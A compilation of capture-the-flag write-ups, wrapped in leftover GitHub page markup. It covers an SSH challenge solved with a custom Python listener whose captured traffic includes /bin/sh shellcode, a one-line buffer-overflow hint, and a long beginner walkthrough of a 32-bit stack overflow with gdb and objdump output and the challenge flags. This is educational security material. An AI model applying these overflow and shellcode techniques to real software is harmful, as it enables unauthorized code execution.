1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# HackingUSSRby mito ## 18 Solves, 489pt It's a challenge to connect with `ssh` and look for flag. ```$ ssh -p 41705 [email protected][email protected]'s password: The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.youngPioneer@fd32dfdbd392:~$ ls -ltotal 16-rw-rw-r-- 1 root root 414 Apr 13 15:47 README-rwsr-sr-x 1 root root 8696 Apr 17 21:39 throwyoungPioneer@fd32dfdbd392:~$ ``` We transferred the `throw` binary using base64 locally. The result of decompiling `throw` binary with `IDA` is as follows. `/root/throw.py` cannot be read because it is under /root. ```int __cdecl main(int argc, const char **argv, const char **envp){ char *envpa; // [rsp+10h] [rbp-10h] __int64 v5; // [rsp+18h] [rbp-8h] envpa = "TERM=vt100"; v5 = 0LL; execve("/root/throw.py", (char *const *)argv, &envpa); perror("execv"); return 1;}``` When `throw` is executed, the following message is displayed, so it is necessary to connect to the local server. Therefore, I was able to set `NAT` of the WiFi router and connect to the local server. ```youngPioneer@fd32dfdbd392:~$ ./throwusage: /root/throw.py ATTACK_HOST ATTACK_PORT``` We made a server program to send the result according to the contents sent from throw binary. Finally, flag was sent to `whoami` by returning `root`. ```import socket with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind(('192.168.11.49', 31336)) s.listen(1) while True: conn, addr = s.accept() with conn: data = conn.recv(1024) print('data : {}, addr: {}'.format(data, addr)) p = data.find(b"/bin/sh") a = data[p+8:p+24] print(a) f = "" for i in range(16): f += chr(a[i] ^ 0x41) conn.sendall(f.encode(encoding='utf-8')) data = conn.recv(1024) print('data : {}, addr: {}'.format(data, addr)) conn.sendall(b"root\n") data = conn.recv(1024) print('data : {}, addr: {}'.format(data, addr))``` The execution result of the server program is as follows. ```$ python3 server.py data : b'\xebUAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\xc7\xff\xff[\x8ds\x081\xc9\x83\xc1\x041.\x83\xc6\x04\xe2\xf9S\xba\x10\x00\x00\x00\x8dK\x08\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80[1\xc9QS\x89\xe11\xd2\xb8\x0b\x00\x00\x00\xcd\x80\xeb\xfe\xe8\xc4\xff\xff\xff/bin/sh\x00B1E4dE7eeec14f94\n', addr: ('152.14.93.208', 60332)b'B1E4dE7eeec14f94'data : b'whoami\n', addr: ('152.14.93.208', 60332)data : b'echo "flag{tw0_p1u$_t00_equ@15_wh@t3v3r_th3_p@rty_s@y5_c0mr@d3}" > /etc/motd\n', addr: ('152.14.93.208', 60332)``` The execution result of `throw` binary is as follows. ```youngPioneer@0f681065a144:~$ ./throw 58.xxx.xxx.xxx 31336$<5>[$<2>+] Opening connection to 58.xxx.xxx.xxx on port 31336: Done$<5>Sending sploit...W00t! Sending `whoami`...W00t! Sending `echo "flag{tw0_p1u$_t00_equ@15_wh@t3v3r_th3_p@rty_s@y5_c0mr@d3}" > /etc/motd`[$<2>*] Closed connection to 58.xxx.xxx.xxx port 31336youngPioneer@0f681065a144:~$ ```
# On Lockdown This is a simple buffer overflow. We can overwrite the buffer with 64 placeholder bytes and then write `0xdeadbabe` to the lock. You can see my solution script [here](sol.py). ## FLAG`DawgCTF{s3ri0u$ly_st@y_h0m3}`
# Bof to the Top Alright, this was my first CTF, so this was the most difficult challenge for me. I wouldn't be able to solve it weren't it for the help from the nice admins on the discord server. They were very patient with me, and answered every single question I had regarding this challenge. I was an absolute beginner while doing this challenge, and they helped me every step of the way. I knew none of this before! So yeah, kudos to them! So this is more of a writeup of what I learned, really. This challenge actually took me like 10 hours to solve, so don't feel like you can't do anything like this! We are given an [executable](bof) and its [source code](bof.c). In the source code of the file, `audition()` prints out the flag. That's the function that we need to execute! How the heck are we going to do that? Well, we can use another buffer overflow. There are two arrays we can dump data into. ```cvoid get_audition_info(){ char name[50]; char song[50]; printf("What's your name?\n"); gets(name); printf("What song will you be singing?\n"); gets(song);}``` We have `name` and `song`, which are both 50 bytes each, but because it uses `gets()`, there is no limit to how much we can write. In the source code of the binary, we are told how it's compiled: ```c#include "stdio.h"#include "string.h"#include "stdlib.h" // gcc -m32 -fno-stack-protector -no-pie bof.c -o bof``` It compiles to a 32-bit executable, and it doesn't use PIE, which is good, because the memory addresses of each instruction is the same on every machine. If you don't have the source code of a binary, you can view info about it using this command: ```$ file bofbof: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5709a36b6f4bc9dc8eba2c438456ce72bb319d93, for GNU/Linux 3.2.0, not stripped``` To get a closer look at the binary, I disassembled it using this command: ```$ objdump -d -M intel bof > bof.asm``` This is the function in the assembly code we need to focus on: ```080491c4 <get_audition_info>: 80491c4: 55 push ebp 80491c5: 89 e5 mov ebp,esp 80491c7: 53 push ebx 80491c8: 83 ec 74 sub esp,0x74 80491cb: e8 f0 fe ff ff call 80490c0 <__x86.get_pc_thunk.bx> 80491d0: 81 c3 30 2e 00 00 add ebx,0x2e30 80491d6: 83 ec 0c sub esp,0xc 80491d9: 8d 83 1a e0 ff ff lea eax,[ebx-0x1fe6] 80491df: 50 push eax 80491e0: e8 5b fe ff ff call 8049040 <puts@plt> 80491e5: 83 c4 10 add esp,0x10 80491e8: 83 ec 0c sub esp,0xc 80491eb: 8d 45 c6 lea eax,[ebp-0x3a] 80491ee: 50 push eax 80491ef: e8 3c fe ff ff call 8049030 <gets@plt> 80491f4: 83 c4 10 add esp,0x10 80491f7: 83 ec 0c sub esp,0xc 80491fa: 8d 83 2c e0 ff ff lea eax,[ebx-0x1fd4] 8049200: 50 push eax 8049201: e8 3a fe ff ff call 8049040 <puts@plt> 8049206: 83 c4 10 add esp,0x10 8049209: 83 ec 0c sub esp,0xc 804920c: 8d 45 94 lea eax,[ebp-0x6c] 804920f: 50 push eax 8049210: e8 1b fe ff ff call 8049030 <gets@plt> 8049215: 83 c4 10 add esp,0x10 8049218: 90 nop 8049219: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4] 804921c: c9 leave 804921d: c3 ret ``` Look at `0x80491ef` and `0x8049210` in the code, these are the calls that are reading input, and dumping it into the memory locations of the two character arrays. If only I looked up that function in the first place, as it would have made this challenge much easier: [![](gets.png)](https://www.tutorialspoint.com/c_standard_library/c_function_gets.htm) We now know that the pointer to the buffer array is the first parameter in the function `gets()` But where do we write the pointer? Operands are stored on the stack. Look at the below code, I added comments for better readability. ```8049206: 83 c4 10 add esp,0x10 ## Reserve 4 bytes on the stack8049209: 83 ec 0c sub esp,0xc ## I don't know why, it just does.804920c: 8d 45 94 lea eax,[ebp-0x6c] ## Get the address804920f: 50 push eax ## Push the address to the stack.8049210: e8 1b fe ff ff call 8049030 <gets@plt> ## Call the function.``` Well, the address is stored in `eax` right before it is pushed onto the stack, at `0x804920f` So, let's set up a breakpoint in gdb at that exact address and observe the contents of the registers. If you're curious, `b` is short for `breakpoint`, `r` is short for `run`, and `i r` is short for `info registers`. ```$ gdb bof...(gdb) b *0x804920fBreakpoint 1 at 0x804920f(gdb) rStarting program: /home/jordan/CTF-writeups/DawgCTF2020/bof-to-the-top/bofWelcome to East High!We're the Wildcats and getting ready for our spring musicalWe're now accepting signups for auditions!What's your name?asdfWhat song will you be singing? Breakpoint 1, 0x0804920f in get_audition_info ()(gdb) i reax 0xffffd26c -11668ecx 0xffffffff -1edx 0xffffffff -1ebx 0x804c000 134529024esp 0xffffd254 0xffffd254ebp 0xffffd2d8 0xffffd2d8esi 0xf7f93000 -134664192edi 0xf7f93000 -134664192eip 0x804920f 0x804920f <get_audition_info+75>eflags 0x292 [ AF SF IF ]cs 0x23 35ss 0x2b 43ds 0x2b 43es 0x2b 43fs 0x0 0gs 0x63 99(gdb)``` Well, looks like the address of `char song[50]` is at `0xffffd26c`, because that's the value stored in `eax`. (I'm not focusing on the name array, I only need to do a buffer overflow on one or the other, so I chose to use song) That's great! Now we know the exact place we're writing to! Question is, what do we write? Well, what about that `ret` statement at the end of `get_audition_info`? [![](ret.png)](http://www.cs.virginia.edu/~evans/cs216/guides/x86.html)[![](pop.png)](http://www.cs.virginia.edu/~evans/cs216/guides/x86.html) Looks like it pulls off an address off of the stack, and the jumps to that address. Can we use that? Let's use gdb to get the stack pointer right before `ret` is called in `get_audition_info`. ```........ 8049215: 83 c4 10 add esp,0x108049218: 90 nop8049219: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]804921c: c9 leave 804921d: c3 ret ``` `0x804921d` is our address. Let's set up a breakpoint! ```(gdb) b *0x804921dBreakpoint 1 at 0x804921d(gdb) rStarting program: /home/jordan/CTF-writeups/DawgCTF2020/bof-to-the-top/bofWelcome to East High!We're the Wildcats and getting ready for our spring musicalWe're now accepting signups for auditions!What's your name?asdfWhat song will you be singing?jkl; Breakpoint 1, 0x0804921d in get_audition_info ()``` Good, now let's print out the registers! ```(gdb) i reax 0xffffd26c -11668ecx 0xf7f93580 -134662784edx 0xffffd270 -11664ebx 0x0 0esp 0xffffd2dc 0xffffd2dcebp 0xffffd2e8 0xffffd2e8esi 0xf7f93000 -134664192edi 0xf7f93000 -134664192eip 0x804921d 0x804921d <get_audition_info+89>eflags 0x286 [ PF SF IF ]cs 0x23 35ss 0x2b 43ds 0x2b 43es 0x2b 43fs 0x0 0gs 0x63 99(gdb)``` `eax` is the same as before, so we can verify that's right. Now, `esp` is the stack pointer. Looks like `0xffffd2dc` is the address we want to overwrite! I made a [python script](sol.py) to do this for me, because I don't think it's possible to type in a buffer overflow on a keyboard, anyways. So, when we connect to the server, we have to send out 112 bytes to get to the address in the stack that is read when the `ret` statement is called. Then, we can overwrite the return address with the function `audition`, which you remember is what prints the flag. ```cvoid audition(int time, int room_num){ char* flag = "/bin/cat flag.txt"; if(time == 1200 && room_num == 366){ system(flag); }}``` The `audition` function is at `0x08049182` when you look at [bof.asm](bof.asm). ```08049182 <audition>: 8049182: 55 push ebp 8049183: 89 e5 mov ebp,esp 8049185: 53 push ebx 8049186: 83 ec 14 sub esp,0x14 8049189: e8 ff 00 00 00 call 804928d <__x86.get_pc_thunk.ax> 804918e: 05 72 2e 00 00 add eax,0x2e72 8049193: 8d 90 08 e0 ff ff lea edx,[eax-0x1ff8] 8049199: 89 55 f4 mov DWORD PTR [ebp-0xc],edx 804919c: 81 7d 08 b0 04 00 00 cmp DWORD PTR [ebp+0x8],0x4b0 80491a3: 75 19 jne 80491be <audition+0x3c> 80491a5: 81 7d 0c 6e 01 00 00 cmp DWORD PTR [ebp+0xc],0x16e 80491ac: 75 10 jne 80491be <audition+0x3c> 80491ae: 83 ec 0c sub esp,0xc 80491b1: ff 75 f4 push DWORD PTR [ebp-0xc] 80491b4: 89 c3 mov ebx,eax 80491b6: e8 95 fe ff ff call 8049050 <system@plt> 80491bb: 83 c4 10 add esp,0x10 80491be: 90 nop 80491bf: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4] 80491c2: c9 leave 80491c3: c3 ret ``` We just overwrite the return address with `0x08049182`, where `audition` is located at. Remember those 4 bytes that were reserved for some reason? ```8049206: 83 c4 10 add esp,0x10 ## Reserve 4 bytes on the stack8049209: 83 ec 0c sub esp,0xc ## I don't know why, it just does.``` Yeah, we have to overwrite that, too. Let's look at `audition()` again. ```cvoid audition(int time, int room_num){ char* flag = "/bin/cat flag.txt"; if(time == 1200 && room_num == 366){ system(flag); }}``` It takes 2 parameters, `time` and `room_num`, which have to be `1200` and `366` in order for the flag to be printed. So, we write those values, and we're done! We just have to write one last line break, and the flag should print! The final solution script is [here](sol.py). You can read it if you want to. I highly recommend learning how to use [pwntools](https://docs.pwntools.com/en/stable/about.html). It's a python library that a lot of people use in CTFs. And it's really easy to use. It's [really easy to learn](https://docs.pwntools.com/en/stable/intro.html), and it makes everything much easier. To import, you can just put `from pwn import *` at the beginning of your script. It's completely free, I'm not being sponsored or anything, but I just think it's a really cool library that you may like to use. ```$ py sol.py[+] Starting local process './bof': pid 12899Welcome to East High! We're the Wildcats and getting ready for our spring musical We're now accepting signups for auditions! What's your name? What song will you be singing? DawgCTF{wh@t_teAm?} ``` Flag: `DawgCTF{wh@t_teAm?}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-writeups/DawgCTF2020/spot-the-difference at master · sponege/CTF-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A69D:A589:7FF43D2:833D0E6:641220C4" data-pjax-transient="true"/><meta name="html-safe-nonce" content="dc086aaf93557c2d4aaa9214c85b288e28756e3f1ff90ef133edb4d2ef147220" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBNjlEOkE1ODk6N0ZGNDNEMjo4MzNEMEU2OjY0MTIyMEM0IiwidmlzaXRvcl9pZCI6IjY4MDI4OTA0NTk0OTQ2MjEzODAiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="f2c381ffe22d662d91d87dd50d540cc0852abc8b8d3760668894560ec2a1896b" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:259153036" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="This repository contains all the writeups for all the CTFs I did. - CTF-writeups/DawgCTF2020/spot-the-difference at master · sponege/CTF-writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/8534c3a25614142dc108d3ae96cbe74eda90763b7598194472d23d6eee349956/sponege/CTF-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-writeups/DawgCTF2020/spot-the-difference at master · sponege/CTF-writeups" /><meta name="twitter:description" content="This repository contains all the writeups for all the CTFs I did. - CTF-writeups/DawgCTF2020/spot-the-difference at master · sponege/CTF-writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/8534c3a25614142dc108d3ae96cbe74eda90763b7598194472d23d6eee349956/sponege/CTF-writeups" /><meta property="og:image:alt" content="This repository contains all the writeups for all the CTFs I did. 